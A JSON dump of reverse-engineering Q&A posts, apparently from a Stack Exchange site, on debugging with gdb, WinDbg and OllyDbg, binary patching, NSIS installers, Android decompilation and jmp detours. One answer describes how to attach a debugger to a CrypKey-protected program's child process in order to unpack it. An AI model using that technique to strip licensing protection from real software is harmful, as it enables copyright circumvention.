        "Body": "<p>I'm attempting to inspect memory of an httpd binary compiled statically with openssl. When I list the httpd processes, I get:</p>\n\n<pre><code>$ ps aux|grep httpd\nroot     58539  0.0  0.7  75364  3740 ?        Ss   14:49   0:00 /opt/httpd/bin/httpd\ndaemon   58850  0.0  0.5 364328  2556 ?        Sl   14:58   0:00 /opt/httpd/bin/httpd\ndaemon   58914  0.0  0.5 364328  2548 ?        Sl   14:59   0:00 /opt/httpd/bin/httpd\ndaemon   58942  0.0  0.5 364328  2544 ?        Sl   14:59   0:00 /opt/httpd/bin/httpd\n</code></pre>\n\n<p>I then tried attaching to each of the processes individually and applying a breakpoint to the function I am trying to debug. However, the breakpoint never gets triggered, although I know the function is being called.  I assume this problem relates to something along the lines of httpd forking on a new process, but I'm a bit stuck on how to proceed. Is there a generic way to ensure my breakpoint is triggered even if the processes forks?</p>\n",
        "Title": "Debug httpd process",
        "Tags": "|gdb|dynamic-analysis|",
        "Answer": "<p>Depending on the worker model your apache is configured to use its likely a new worker is being spawned to handle your request if your bp isnt hitting. Like Guntram said you can <a href=\"https://httpd.apache.org/dev/debugging.html\" rel=\"nofollow\">disable forking</a> and put httpd in debug mode by using the <code>-X</code> flag and starting gdb with:</p>\n\n<pre><code>gdb httpd -X\n</code></pre>\n\n<p>If for some reason you need to debug the multiple worker configured httpd you should use the gdb options <code>set follow-fork-mode ask</code> or <code>set follow-fork-mode child</code> if you know you'd like to follow all forks in advance. (<a href=\"https://sourceware.org/gdb/onlinedocs/gdb/Forks.html\" rel=\"nofollow\">https://sourceware.org/gdb/onlinedocs/gdb/Forks.html</a>). This would also be considered the 'generic approach' and would apply to programs that don't allow you to run single process in the foreground.</p>\n"
    },
    {
        "Id": "6406",
        "CreationDate": "2014-10-08T16:23:42.553",
        "Body": "<p>The !pte command in WinDbg gives all the information one may need regarding a virtual address (PDE and PTE location and content), but even on systems with PAE it says nothing about the Page Directory Pointer Table. \nI know that I can get the physical base of the PDPT by looking at CR3, and then use the highest 2 bits of the VA as a index in that table to get to the PDPT Entry, but I'm just curious if there is a command that works like !pte when it comes to PAE as it will be a nice tool to verify my address translations step by step. </p>\n\n<p>Also, is there a way to determine MAXPHYADDR? I know it is at most 52. </p>\n",
        "Title": "Page Directory Pointer Table in WinDbg",
        "Tags": "|memory|windbg|",
        "Answer": "<p>To answer your other question, maxphyaddr and the AMD counterpart are found via cpuid leaves, but it's important to note that the bus interface to the MCH (which is typically integrated on the cpu these days) probably only uses 33-36 of those lines on the address bus.</p>\n"
    },
    {
        "Id": "6419",
        "CreationDate": "2014-10-10T19:33:44.593",
        "Body": "<p>I've recently been undertaking a little RE project where I needed to patch the executable. For small modifications, I know enough x86 to patch in an jump, nop, infinite loop, etc, so a hex editor is good enough. But what about larger ones? </p>\n\n<p>I used to use OllyDbg for this, there were great tools in it, you could go to any line, press space and just start assembling, instructions you replaced would be padded with NOPs automatically and there were even nice plugins to find code caves. </p>\n\n<p>Unfortunately, OllyDbg seems barely updated these days and fails to load any application on 64 bit Windows 8.1, so I've switched to Hiew. Hiew isn't bad, but the interface is well, more than a little dated and fairly cumbersome to use compared to Olly's. </p>\n\n<p>I'm wondering if anyone knows any more modern tools that can perform this same sort of function. </p>\n",
        "Title": "Are there any modern assembly-level patching tools?",
        "Tags": "|ollydbg|patching|",
        "Answer": "<p>There are a few really great options.</p>\n\n<p>First, something that I frequently forget when doing patching is that <code>LD_PRELOAD</code> makes hooking/redirecting library routines very easy.</p>\n\n<p>If you must patch instructions, the tools that I use on a regular basis are <a href=\"https://github.com/Gallopsled/pwntools\" rel=\"nofollow noreferrer\"><code>pwntools</code></a> (a Python library) and <a href=\"https://isisblogs.poly.edu/2014/04/02/the-other-kind-of-patch/\" rel=\"nofollow noreferrer\"><code>Fentanyl</code></a> (an IDAPython script).</p>\n\n<p>For <code>pwntools</code>, the following would be an example of patching an instruction at file-address 0x1234, which we'll say is virtual-address 0x8001234.  Note that this support is limited to ELF files, and does not work for PEs.</p>\n\n<pre><code>#!/usr/bin/env python\nfrom pwn import *\nfile = ELF('/path/to/elf')\nfile.asm(0x8001234, 'nop') # Using virtual address\nfile.asm(file.offset_to_vaddr(0x1234), 'nop') # File offset\nfile.save('/path/to/output')\n</code></pre>\n\n<p>Using Fentanyl is GUI-driven, but it works pretty well and even nop-pads your instructions and fixes offsets.</p>\n\n<p><img src=\"https://i.stack.imgur.com/YsyMG.gif\" alt=\"Fentanyl demo\"></p>\n"
    },
    {
        "Id": "6420",
        "CreationDate": "2014-10-10T19:40:10.940",
        "Body": "<p>As part of an assignment, I am trying to do some debugging in <code>iexplore.exe</code> (Aurora vulnerability).</p>\n\n<p>After I load the test webpage in iexplorer 8, I open windbg and attach to the iexplore process.</p>\n\n<p>I verify my symbolpath by using:</p>\n\n<pre><code>.sympathy\nSymbol search path is: srv*C:\\Users\\User\\Desktop\\Symbols\nExpanded Symbol search path is: srv*c:\\users\\user\\desktop\\symbols\n</code></pre>\n\n<p>I know that what I am interested in is inside of <code>mshtml</code>, so I list all the symbols in mshtml via:</p>\n\n<pre><code>x /t /n mshtml!*\n</code></pre>\n\n<p>Next, I use:</p>\n\n<pre><code>u mshtml!CEventObj::GenericGetElement\n</code></pre>\n\n<p>To see the function I am interested in and discover that one of the instructions I want to examine is at:</p>\n\n<pre><code>mshtml!CEventObj::GenericGetElement+0x91\n</code></pre>\n\n<p>I try setting a breakpoint at that address by:</p>\n\n<pre><code> bp mshtml!CEventObj::GenericGetElement+0x91\n</code></pre>\n\n<p>Then, I run:</p>\n\n<pre><code>bl\n</code></pre>\n\n<p>And the breakpoint shown is actually at:</p>\n\n<pre><code>mshtml!CEventObj::GenericGetElement+0x3b\n</code></pre>\n\n<p>Why isn't my breakpoint at the point I specified ?</p>\n\n<p>Also I have tried using:</p>\n\n<pre><code>u mshtml!CEventObj::GenericGetElement+0x91\n</code></pre>\n\n<p>And the code is totally different than when I simply unassembled the entire function based on the symbol address for the function.</p>\n\n<p>Any ideas would be greatly appreciated.</p>\n",
        "Title": "windbg refferencing symbols is inconsistent",
        "Tags": "|windbg|",
        "Answer": "<p>due to optimizations which include chunking of functions the offsets in the symbols are rendered irrelevent use actual address to set breakpoints windbg normally shows the actual address in brackets at the end</p>\n\n<p>for example some random function in msxml</p>\n\n<pre><code>0:007&gt; ? msxml3!AbortParse \nEvaluate expression: 1956897309 = 74a3e21d\n0:007&gt; # je msxml3!AbortParse l10\nmsxml3!AbortParse+0x18:\n74a3e235 7451            je      msxml3!AbortParse+0x61 (74a3e288)\n0:007&gt; bp msxml3!AbortParse+0x61\n0:007&gt; bp 74a3e288\n0:007&gt; bl\n 0 e 74a3e27e     0001 (0001)  0:**** msxml3!AbortParse+0x57\n 1 e 74a3e288     0001 (0001)  0:**** msxml3!AbortParse+0x61\n0:007&gt; .bpcmds\nbp0 0x74a3e27e ;\nbp1 0x74a3e288 ;\n</code></pre>\n"
    },
    {
        "Id": "6427",
        "CreationDate": "2014-10-11T15:14:43.567",
        "Body": "<p>I have a target application protected with CrypKey.\nWhen i try to attach to the apps in OllyDbg and Ida Pro i receive Unable to attach to this process.</p>\n\n<p>The bad news is that i want to unpack the main exe after executing of Crypkey loader but after patching main exe and loader to obtain an infinite loop at the end of the code of the loader i am unable to attach to main exe and reach the OEP.</p>\n\n<p>Do you know how or why i am unable to attack? A good solution in this cases?</p>\n\n<p>Thank you very much</p>\n\n<p>See image below:</p>\n\n<p><img src=\"https://i.stack.imgur.com/vec2o.png\" alt=\"enter image description here\"></p>\n",
        "Title": "Ollydbg and IDA Pro unable to attach to process",
        "Tags": "|ida|ollydbg|anti-debugging|",
        "Answer": "<p>Debug the loader.</p>\n\n<p>Set a breakpoint on <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx\" rel=\"nofollow\"><code>CreateProcess</code></a> <em>(or <a href=\"http://undocumented.ntinternals.net/source/usermode/undocumented%20functions/nt%20objects/process/ntcreateprocess.html\" rel=\"nofollow\"><code>ZwCreateProcess</code></a> if needed)</em></p>\n\n<p>When the breakpoint is hit modify the <em><a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms684863(v=vs.85).aspx\" rel=\"nofollow\">process creation flags</a></em> on the stack to include <code>CREATE_SUSPENDED</code>. \nMake sure to remove any debugging related flags such as <code>DEBUG_ONLY_THIS_PROCESS</code> etc.</p>\n\n<p>Single step over the <code>CreateProcess</code> call. At this point, the child process would be created in a suspended state. Now you should be able to attach a debugger to this.</p>\n"
    },
    {
        "Id": "6430",
        "CreationDate": "2014-10-11T16:14:53.317",
        "Body": "<p>Is there a way to dump the stack  of a program while debugging in ollydbg and store the result in a file  ? </p>\n",
        "Title": "Dump the stack in Ollydbg",
        "Tags": "|ollydbg|stack|",
        "Answer": "<pre><code>alt + k -&gt; right click -&gt; copy to clipboard whole table -&gt; paste to notepad -&gt; save\n</code></pre>\n"
    },
    {
        "Id": "6434",
        "CreationDate": "2014-10-12T17:47:50.137",
        "Body": "<p>I am attempting to recover the architecture for an open source application (Written in Java). Obviously I have looked at the available documentation but it has not given me the detail that I need to know. I would like to know what would be the best approach or the most used approach to solve this problem.</p>\n\n<p>I have heard that using request traces would be a good place to start (using something like btrace)? So lets say that the application is a basic web server would you make basic http request while doing the request tracing and then draw a sequence diagram from the data to visualize the process?</p>\n\n<p>I have also heard that generating a uml diagram from the source could be usefull? The project in question has over 300 classes so how would you proceed in generating the diagram, which parts of the system and which diagrams (class diagram maybe)?</p>\n\n<p>Also are there any other methods that are know to be effective that I should try specifically for a java application that sends and receives requests across a network?</p>\n\n<p>I am just trying to get a general direction to follow, or a pointer to a process that generally works well or any advice that would make the process easier.</p>\n\n<p>Thanks in advance</p>\n\n<p><strong>EDIT:</strong></p>\n\n<p>What I hope to achieve is a high level architecture design specification for the system. This includes architectural patterns as well as tactics used to achieve specific non-functional requirements (caching for performance). This is what the architecture currently looks like. It should be possible to, from the design spec, analyse the architecture and extend or change the design to possibly improve it or to cater for different non-function requirements.</p>\n",
        "Title": "Recover architecture. Open source application",
        "Tags": "|java|",
        "Answer": "<p>UML diagrams, function traces, and data flow maps won't be able to produce a high-level architecture design specification for a complex system. No automated software exists to produce the type of design specification for which you're looking.</p>\n\n<p>The solution is to read the existing code and documentation (or pay somebody else to do it), or to talk with the original developers/designers of the software.</p>\n"
    },
    {
        "Id": "6436",
        "CreationDate": "2014-10-12T20:05:06.883",
        "Body": "<p>As part of an assignment, I am delving into the world of Internet Explorer, and am trying to figure out exactly what class(es) are being allocated on the heap.</p>\n\n<p>In the <code>mshtml!CEventObj::GenericGetElement()</code> method, the <code>eax</code> register points to an instance of a class, <code>edi</code> points to the object it references, and <code>esi</code> points to the vftable.</p>\n\n<p>This being said, I inserted a breakpoint that would list these registers each time through the function, and they always point to the same vftable.</p>\n\n<p>The vftable in question is <code>mshtml!CBodyElement</code>, but does this actually mean that all these instances are of the <code>CBodyElement</code>, or could they be for classes derived from <code>CBodyElement</code>. </p>\n\n<p>If they are from derived classes, how do I determine the actual classes being allocated ?</p>\n",
        "Title": "Windbg: going from vftable to c++ class",
        "Tags": "|dynamic-analysis|windbg|",
        "Answer": "<p>A derived class will get its own <code>vtable</code> if it overrides any of the virtual functions.</p>\n\n<p>If the derived class does not override any virtual functions, it will use the original <code>vtable</code>.</p>\n\n<p>I would say that your assumption is correct ~90% of the time.</p>\n\n<p>The best that you can do for <em>static</em> type recovery, is to look at the <code>vtable</code> being used.</p>\n\n<p>What you can do to help a bit is to turn one PageHeap with stack tracking (<code>gflags.exe /i iexplore.exe +hpa +ust</code>) and look at the address allocated for the object (<code>!heap -p -a 0xaddress</code>).  This will give you a full stack trace to the allocation-site of the object, which is sometimes to determine the type of object (e.g. if a <code>Factory</code> pattern was used).</p>\n\n<p>Finally, there are additional dynamic analysis tricks you can play.  I wrote a Pin tool and IDA Python plugin, <a href=\"https://github.com/zachriggle/ida-splode\" rel=\"nofollow noreferrer\">ida-splode</a> for almost exactly this application.  By capturing information at runtime, you can enhance your IDA traces.  Below is an example screenshot from the slide deck.  The better symbol information you have (or the better fleshed-out your IDB is), the better the information you get.</p>\n\n<p><img src=\"https://i.stack.imgur.com/A0XBu.png\" alt=\"enter image description here\"></p>\n"
    },
    {
        "Id": "6444",
        "CreationDate": "2014-10-14T03:48:04.193",
        "Body": "<p>There are lots of programs I seen that can locate a swf running in memory, capture it and return source code. Usually the AS byte code is generated as well.</p>\n\n<p>What I looking to do is the opposite, I'm trying to match a section of Action Script byte-code to a section of disassembly from a Shockwave Flash program. </p>\n\n<p>Basically match p-code to disassembly.</p>\n\n<p>Is there any good techniques or software that can do this.</p>\n",
        "Title": "Matching ActionScript byte code to the Disassembly of a Shockwave Flash",
        "Tags": "|assembly|byte-code|actionscript|",
        "Answer": "<p>This is how it works at .NET. When the method is compiled a table is generated that contains the information (including offset, length) to match MSIL code to their machine code counterparts. However not all MSIL instructions have meaningful machine code counterpart, instead the table contains the info to match a sequence of MSIL instructions (block) to the machine counterparts.</p>\n\n<p>You can access the table via Debugging or Profiler interface, or as I did, you can reverse engineer.</p>\n\n<p>I'm not sure if such table exists in Flash, and if so is there a way to get it via documented function calls. But this should be one technique to consider.</p>\n"
    },
    {
        "Id": "6448",
        "CreationDate": "2014-10-14T13:46:50.143",
        "Body": "<p>I'm reversing a program that uses a lot of <code>BREAK</code>/<code>int 3</code> (Linux). I guess that the code contains something like:</p>\n\n<pre><code>void sigtrap_func(int sig) { (some stuff..) }\n\nint main()\n{\n  signal(SIGTRAP, sigtrap_func);\n  (some stuff)\n  asm(\"int 3\");\n  (and so on)\n  asm(\"int 3\");\n\netc..\n</code></pre>\n\n<p>I replaced all <code>SIGTRAP</code> by <code>NOP</code>s and the program behave differently than with them. So, I'm sure that something is done inside the <code>sigtrap</code> function.</p>\n\n<p>How can I find this function just with the assembler ?</p>\n",
        "Title": "Find sigtrap function",
        "Tags": "|linux|anti-debugging|",
        "Answer": "<p>Just like in your sample program, the signal handlers are installed using a <code>signal</code> (or <code>sigaction</code>) function. So you just need to find the call to that function and see what argument is passed to it. That argument will be the address of the signal handler.</p>\n"
    },
    {
        "Id": "6455",
        "CreationDate": "2014-10-15T04:47:33.150",
        "Body": "<p>At the professional level, for what purpose is reverse software engineering used? What software is targeted and why?</p>\n\n<p>For reasonably complex compiled code that's doing something novel, making meaningful insights into how that code operates via reverse engineering seems like it would be enormously intensive of expertise, labor, and time. In particular, I imagine that hiring competent assembly programmers is extremely difficult and possibly expensive. And yet, I haven't the foggiest idea where entities with the resources to do so would want to spend those resources.</p>\n\n<p>This is my list of possibilities...</p>\n\n<ol>\n<li>Writing malware</li>\n<li>Writing counter-malware</li>\n<li>Maybe analyzing competitors products?</li>\n</ol>\n\n<p>It's not a great list. What is the reality here? What sort of software justifies the expense to be reverse engineered?</p>\n\n<p><em>See the comments on 0xC0000022L's answer for some refinement of the question.</em></p>\n",
        "Title": "What are the targets of professional reverse software engineering?",
        "Tags": "|disassembly|",
        "Answer": "<p>There are already a lot of great answers.  If I may add my two cents.  Reverse engineering software is akin to the mechanic or tinkerer whom just enjoys taking things apart, understanding how they work, putting them back together, and possibly modifying their subject to adapt its behavior so it is more to their liking.  There is no shortage of examples in the physical realm.</p>\n\n<p>Any Electrical Engineer, hardware designer, and the most eliete QA engineers are talented reverse engineers; which is to say, they have an expertise in debugging/analyzing software/hardware implementations.  I interned at AMD as I worked my way through school and my debugging skills not only helped me advance to more serious roles within the company, but it is also <em>really</em> fun!  Like a game or puzzle that you can play for as long as you want.  The challenges will never stop coming.</p>\n\n<p>My favorite example of a legitimate need for reverse engineers is NASA.  They are not the only outfit where the phrase \"mission critical\" applies, where people's lives depend on the quality of their work, but it is the only one that has to fix problems even if their product is hurtling through space.  They have to set and freeze product versions <em>years</em> before that software / hardware ever goes to the launch pad.  That may seem silly, because the phones in our pocket have more computing power than the entire shuttle, but they can't use modern technology.  It's too risky.  They have to accept what is available at the time that the specs are frozen and that's it - lest they incur the scheduling and workload that upgrading, testing, fixing, re-testing, verifying again, simulating realistic conditions to determine failure points, fixing it, and starting over.... it is serious business and those engineers do not take their responsibility lightly.</p>\n\n<p>Would you be surprised to learn that NASA projects have used Microsoft OSes on hardware went into shuttle components?  It is not much different than using a M$ OS as the foundation for, say for instance, a point-of-sale terminal or for the control system at a power plant.  Now consider a scenario where the OS, the hardware, or some portion of third-party software is found to have a flaw in it.  Moreover, imagine that the vendor does not care about the flaw to the degree that NASA does and decides that there is no fiscal motivation for them to fix the issue - even if lives depend upon that component not failing.  NASA is stuck.</p>\n\n<p>At this point their options are to either replace the component and start their processes all over - a huge cost in time, man-hours, and no guarentee that they won't discover another critical flaw after upgrading; or, instead of upgrading, they can reverse engineer the hardware/software failure and determine if they could fix the problem themselves - maybe it would take some curcuit re-design, changing the values of a few resistors so that voltage levels on the memory bus stayed within required limits under the extreme conditions that were making them fail or maybe there is a binary patch that they can apply that to mitigate the error state they discovered where life-support systems began failing or a probe's batteries drained and left it unable to re-charge itself.</p>\n\n<p>I'm not totally making these scenarios up.  They come from stories I have been told, by friends who worked at JPL, my engineering professors when I was in the University, or colleagues that have worked with in the tech industry.  All this, and more, has been surmounted by NASA's engineers.  It did cost quite a bit more than India paid (tip of the hat to them too), to do what they have done, but the first time through is always more costly.</p>\n\n<p>Technically, NASA engineers would be violating one or more of the intellectual property laws that vendors claim they have (they may or may not actually have those rights; I\"m not trying to debate that here).  If you bought a corvette, you would be completely within your rights to bore out the cylinders to change your car's performance profile.  Different tires.  Modified suspension.  Tweaked timing and mixture ratios in the fuel injection system.  The famous Shelby Cobra is not only modified, but also remarketed with its aftermarket modifications- all entirely legal.</p>\n\n<p>If you bought a radio and wanted to make some modifications, so that it was water proof and you could take it on the lake with you.  Amplify it's output so that it would still be audible over the boat engine, or anything of that sort... legal.</p>\n\n<p>Now, jailbreak your iPhone, modify your xBox or the Kinect system that came with it, or, in NASA's case, modify the OS and/or re-engineer the memory bus on a motherboard, to ensure the safety of a human mind you.  All of these activities have evoked fierce reactions from the vendors that, for whatever their reasoning, do not want those activities to be continue nor become more widespread.  Ultimately, this led to the DMCA laws that we have today being passed.  Before that, even if you were clicking \"I agree\" to the rediculus terms and services that were put before you there was still the question if that contract was legal enforceable.  </p>\n\n<p>The DMCA, which does nothing to disuade the massive blackmarkets in China or South America, carries harsh penalties and has been treated as a kind of \"hunting license\" for those that wish to go after consumers can and have.  Should it be illegal to make unlicensed copies of someone elses music; to sell, trade, or even give it away?  </p>\n\n<p>Clearly, that should be illegal.  Artwork, books, patented processes, protected trademarks; yes, those should be protected too.  Software and hardware; again, yes the the author of software should be able to enforce resonalbe aspects of their licensing that protect the the investment that have made to create said software or hardware.  Explicitly, it is, and should remain, illegal to puchase one copy legitimately, turn around and make copies, and then sell/trade/or give the unlicensed copies.  Microsoft, VMWare, Adobe, and similar big companies should retain that right.  </p>\n\n<p>Now, once I have licensed the software or hardware can I make modifications and then sell/trade/or give away the software/hardware that featured <em>my</em> modifications.  That depends.  It i, and should be illegal, to profit from derivatives works beyond the limit to which you originally licended the art (i.e. software).  For example, you could not draw the likeness of a Disney character, change the name, and then claim it as your own and profit from it's use.  I believe that Mikey no longer protected, but when he was that was and should be illegal.</p>\n\n<p>Should a computer hobbyist, like the ones that we credit for founding the industry today, be allowed to to explore, tinker, change, discuss, show, or teach any manner of activity that they desire on their legally licensed software and hardware?  I won't answer that, but I will say that the DMCA says \"no\".  In fact, the same tools that a reverse engineer would use for debugging the operating system are the very same tools that the prosecution will cite as evidence of illegal activity.</p>\n\n<p>Let's be a little more giving for someone prosecuting a DMCA case where the accused was know to have accessed the cryptographic keys that, among other things, would allow the defendant to make copies of protected art (e.g. music and movies).  There are some legitimate reasons that could explain the defendants actions, but not many and the illegal activities that could be pursued are costly to those that are trying to protect themselves.  At the end of the day, even though they tried their best, there is no way to actually prevent anyone from accessing those cryptographic keys.</p>\n\n<p>It reminds me of the tag on a mattress waring of insanely harsh penalties for removing said tag, but there is no protection for the tag.  Just threats and overreaching penalties that are used to make examples out of as they stoke the fire and declare a witch hunt.</p>\n\n<p>Should Apple be able to prosicute a security research whom respectfully, and sincerely trying to help and support Apple make better products, be prosicuted by the technology giant?  Hell no, but you better believe that they tried - that happened.  The employees of Target or Home Depot that warned of potential dangers; where are they now?  They were fired, run-off, considered a nuisance to the company, shunned, and labeled as \"not a team player\".  In the wake of the data breaches that Target, Home Depot, and countless others (certainly at least one of these events has impacted your life) it is more apparent now than ever that reverse engineering is not only a right, but an aspect of our emerging social structure that is going to be needed more than ever to 1) protect the innocent consumers and digital citizens of the world like yourself and 2) hold accountable those whom are responsible to take reasonable measure to protect the community that entrusted them with their well being (granted in exchange for a service).</p>\n\n<p>The NSAs, the CIAs, the DeutcheBanks, the HealthCare.govs, and the hospitals that we all wanted and empowered to do what they have done.  It is the reverse engineer who will become the modern freedom fighter, tomorrows activist, that is going to be on your side, the little guy, when power corrupts and greed lets way to disregard for the responsibilities that were implicit in the power granted to those organizations.  To be just a bit more dramatic about it; reverse engineers are the priests of a new religion.  We should honor them, applaud their bravery standing up to those drunk on power, and protect them when they risk the privacy of their family to step into the line of fire, on our behalf, because it is \"the right thing to do\".</p>\n\n<p>If you know one of these individuals- buy them a beer tonight and say thank you.  As much as any soldier, they are going to be the ones that protect us when the next digital tragedy is impending.</p>\n"
    },
    {
        "Id": "6463",
        "CreationDate": "2014-10-15T13:02:12.167",
        "Body": "<p>NISIS installers compress data using <code>bizp2</code>, <code>lzma</code> or <code>zlib</code> -- I don't know if there are others algorithms--.</p>\n\n<p>At some point in the installation process one of those algorithms has to be applied to certain buffer of data. Of course, that data was readed from the disk --contained into the installer--. </p>\n\n<p>How can I debug a NISIS installer in order to know where the installer files are? What I have to look for?</p>\n\n<p>Note: I can work with OllyDbg or IDAPro.</p>\n",
        "Title": "How to debug a NSIS installer in order to find where the compressed data is?",
        "Tags": "|debugging|",
        "Answer": "<p>Well, without reject Igor Skochinsky's answer I want to post this more landed in the fact of <strong>how to find where compressed data is</strong>.</p>\n<p>Peter Kankowski wrote:</p>\n<blockquote>\n<p>NSIS authors found a fast solution using marker. It's so simple that you will say: &quot;Why didn't I think about it?!&quot;</p>\n<p>Just remember that data in an exe file is aligned by 512 or 4096 bytes. So you don't need to scan the whole exe for a marker, you just need to read 512-byte chunks and look for marker at their start. In pseudocode:</p>\n</blockquote>\n<pre><code>BYTE buff[512];\nwhile(not end of file) {\n   ReadFile( 512 bytes into buff)\n   if(*(long*)buff == marker) {\n       // Marker found!\n   }\n   // else read another 512-byte chunk in the loop\n}\n</code></pre>\n<blockquote>\n<p>I believe it's the simplest method; it's also faster than other methods with marker.</p>\n</blockquote>\n<p>So as you can see NSIS installer have some sort of marker. So, just look for the <code>ReadFile</code> API call, follow the program flow until the loops start again an watch for the last jump before the loop repeat it has to have a comparision around.</p>\n<p>And there you have the <strong>marker</strong>.</p>\n<p>If you want read more you can visit this very useful article: <a href=\"http://www.strchr.com/creating_self-extracting_executables\" rel=\"nofollow noreferrer\">Self-extracting executables</a>, thanks to Peter for a good adn clean explanation.</p>\n"
    },
    {
        "Id": "6469",
        "CreationDate": "2014-10-15T15:44:13.473",
        "Body": "<p>How does <code>R.java</code> work? In a compiled .apk file, does it contain all constants from the XML files prior to compilation? I've decompiled an app using several Java RE tools, and used <code>apktool</code> to extract the resources (xml files, images and others). However, when rebuilding the project in Eclipse, the <code>R.java</code> generated by Eclipse (in the <code>gen</code> folder) does not match the original <code>R.java</code> from the decompiled app. Is this a common occurrence when reversing android apps? In this case, the original R.java contains fields consistent with the rest of the code. However, this is not present in the generated R.java and hence this error.</p>\n\n<p>The decompilers I used are</p>\n\n<p>1) <a href=\"http://www.android-decompiler.com\" rel=\"nofollow noreferrer\">JEB</a> (Commercial)</p>\n\n<p>2) <a href=\"https://github.com/skylot/jadx\" rel=\"nofollow noreferrer\">jadx</a> (Open-source)</p>\n\n<p><img src=\"https://i.stack.imgur.com/4BXHG.png\" alt=\"enter image description here\"></p>\n",
        "Title": "R.java to xml file",
        "Tags": "|decompilation|android|java|",
        "Answer": "<p>The R.java file created by jadx exists to be a reference between the resources id after compilation and the name of the resource mentioned throughout the code. </p>\n\n<p>If you wish to recompile it, it is possible to recreate something that looks like the original xml files by creating a script that ignores a part of the prefix and searches for the resource's name. Once it is located inside the xml files, specify the correct one.</p>\n\n<p>And I think that apktool provides a much better reference to the resources xml files.</p>\n\n<p>But if what you wanna do is make just a small change, it will be faster to do it with smali and use apktool to put it all back together again.</p>\n"
    },
    {
        "Id": "6473",
        "CreationDate": "2014-10-15T19:08:47.783",
        "Body": "<p>An application I'm reversing frequently outputs debug strings. Some of them could aid me in locating the code I'm looking for, but somehow, the app doesn't seem the be using OutputDebugString at all (I've used IDA's Imports window, Olly's Search for intermodular calls, and <code>dumpbin /IMPORTS</code>). The program only imports native Windows DLLs and one custom library which does call the function, but I've checked it and all its debug strings are internal stuff, there's no exported logging function for my exe.</p>\n\n<p>Additionally, the debug strings being printed cannot be found inside the exe (again, tried both Olly and IDA). </p>\n\n<p>Is it possible that the call is somehow hidden by not using WinAPI? Since the program is in no way protected, I find the use of any such techniques highly unlikely, but could that be why I can't find anything using \"ordinary\" methods?</p>\n",
        "Title": "App prints debug strings but no OutputDebugString used",
        "Tags": "|windows|debuggers|",
        "Answer": "<p><strong>Ollydbg</strong></p>\n\n<p><kbd>Alt</kbd>+<kbd>O</kbd> -> events -> check mark break on debug string on break </p>\n\n<p>Hit <kbd>Alt</kbd>+<kbd>K</kbd> to view call stack</p>\n\n<p><strong>WinDbg</strong></p>\n\n<pre><code>sx- -c \"kc\" out\n</code></pre>\n\n<p>This will print the call stack automatically on each and every DebugString.</p>\n\n<pre><code>0:000&gt; g\n\nThis is from Win32Api\nGoing deeper now\n\nkernel32!RaiseException\nkernel32!OutputDebugStringA\ndbgprints!wmain\ndbgprints!__tmainCRTStartup\nkernel32!BaseProcessStart\nhello from ntdll!DbgPrint \n\n\nntdll!vDbgPrintExWithPrefix\nntdll!DbgPrint\ndbgprints!wmain\ndbgprints!__tmainCRTStartup\nkernel32!BaseProcessStart\n(5d8.950): Unknown exception - code eaceba5e (first chance)\nThis String is from RaiseException argument 1\n</code></pre>\n"
    },
    {
        "Id": "6479",
        "CreationDate": "2014-10-16T08:44:01.377",
        "Body": "<p>I've seen references on Stack Exchange and elsewhere to inserting detours into compiled code. My understanding is that essentially a jmp instruction is inserted and then somehow the patched program is linked with additional code that contains the target of the jmp.</p>\n\n<p>As a concrete but (hopefully) simple example, consider a program.</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nvoid hello(void) {\n    printf(\"Hello \");\n    printf(\"world!\\n\");\n}\n\nint main(void) {\n    hello();\n}\n</code></pre>\n\n<p>Suppose I have only a binary compiled from this program. No measures have been taken to strip symbols or obfuscate the program in any way. I want to insert a detour to call code compiled from this function.</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nvoid detour(void) {\n    printf(\"detoured \");\n}\n</code></pre>\n\n<p>The output of the patched program should be:</p>\n\n<blockquote>\n  <p>Hello detoured world!</p>\n</blockquote>\n\n<p>How would I do that? How would I avoid breaking address offsets in the compiled code?</p>\n\n<p>My available compilers are gcc, clang, and icc. My available operating systems are OS X and Ubuntu. Choose whatever you prefer in your answer.</p>\n\n<p>If this can't reasonably be answered here then a brief overview and a pointer to some reading material would also be a good answer.</p>\n\n<p>I'm aware of LD_PRELOAD and ld --wrap. The example was chosen so that those methods do not easily suffice. (You could of course just detour the entire hello() function to one that prints \"Hello detoured world!\" but lets pretend you don't have the source code and the function is non-trivial.)</p>\n\n<p><strong>Related Questions</strong></p>\n\n<p>I was first going to ask how to simply disassemble and reassemble a compiled program but that has been asked. The response was that it's extremely difficult. My sense from the answers is that it's not a common thing to do. I suspect my assumption that disassembling and reassembling is a necessary step for detouring might not be correct.</p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/3800/why-there-are-not-any-disassemblers-that-can-generate-re-assemblable-asm-code/4133#4133\">Why there are not any disassemblers that can generate re-assemblable asm code?</a></p>\n\n<p>A similar question on StackOverflow received a lukewarm response. This question is focused just on inserting a detour rather than \"modification\" in general and I think the audience here will be more receptive.</p>\n\n<p><a href=\"https://stackoverflow.com/questions/4309771/disassembling-modifying-and-then-reassembling-a-linux-executable\">https://stackoverflow.com/questions/4309771/disassembling-modifying-and-then-reassembling-a-linux-executable</a></p>\n\n<p>This Reverse Engineering question asks about modifying binaries in general. A lot of different tools and LD_PRELOAD are mentioned. Some answers say it's possible to do this with a hex editor. I think that's the method I'd be most interested in.</p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/185/how-do-i-add-functionality-to-an-existing-binary-executable\">How do I add functionality to an existing binary executable?</a></p>\n\n<p><strong>Recent examples I have seen that refer to doing such a thing</strong></p>\n\n<p>A blog post.</p>\n\n<p><a href=\"http://charlessolar.com/post/tag/disassemble\" rel=\"nofollow noreferrer\">http://charlessolar.com/post/tag/disassemble</a></p>\n\n<p>This Stack Overflow question.</p>\n\n<p><a href=\"https://stackoverflow.com/questions/9449845/how-to-link-object-file-to-executable-compiled-binary\">https://stackoverflow.com/questions/9449845/how-to-link-object-file-to-executable-compiled-binary</a></p>\n",
        "Title": "Insert jmp detour into a compiled program",
        "Tags": "|disassembly|c|reassembly|",
